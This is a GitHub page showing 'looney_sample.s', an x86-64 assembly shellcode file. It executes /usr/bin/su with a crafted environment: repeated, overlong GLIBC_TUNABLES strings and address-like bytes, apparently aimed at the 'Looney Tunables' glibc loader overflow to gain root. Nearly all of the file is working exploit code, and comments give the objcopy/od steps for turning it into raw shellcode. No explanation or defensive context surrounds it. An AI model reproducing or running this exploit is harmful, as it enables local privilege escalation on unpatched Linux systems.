-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathlooney_sample.s
83 lines (69 loc) · 2.4 KB
/
looney_sample.s
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
;objcopy -O binary -j .text execve.o execve
;od -An -v -t x1 execve > hexcontent
BITS 64
global main
section .text
main:
call run
db "/usr/bin/su", 0x0
db "--help", 0x0
db "GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP", 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
db "GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=XXXXXXXX", 0x0
db "GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=XXXXXXX", 0x0
db "GLIBC_TUNABLES=glibc.mem.tagging=YYYYYYYYYYYYYYYYYYYYYYYY", 0x0
db `\f\20\20\20\376\177`, 0x0
db `\370\377\377\377\377\377\377\377\370`, 0x0 ; repeate 16382 times
run:
;;;;;;;;;;;;;;;;;;;;;;;;;
; call su
;;;;;;;;;;;;;;;;;;;;;;;;;
pop rsi
xor rax, rax
; filename "/usr/bin/su"
lea rdi, [rsi]
; envp (in reverse)
push rax
mov ecx, 47
l1:
dec ecx
lea rbx, [rsi+835]
push rbx
jne l1
mov ecx, 385
l2:
dec ecx
lea rbx, [rsi+18]
push rbx
jne l2
; push addr
lea rbx, [rsi+828] ; "addr in Q format"
push rbx
mov ecx, 172
l3:
dec ecx
lea rbx, [rsi+18]
push rbx
jne l3
lea rbx, [rsi+770] ; "GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=Y x 24"
push rbx
lea rbx, [rsi+711] ; "GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=X x 7"
push rbx
lea rbx, [rsi+651] ; "GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=X x 8"
push rbx
lea rbx, [rsi+19] ; "GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=P x 561"
push rbx
mov rdx, rsp
; argv
; ["/usr/bin/su", "--help"] (in reverse)
push rax
lea rbx, [rsi+12] ; "--help"
push rbx
push rdi ; "/usr/bin/su"
mov rsi, rsp
; execve & exit
xor rax, rax
mov rax, 59
syscall
xor rdx, rdx
mov rax, 60
syscall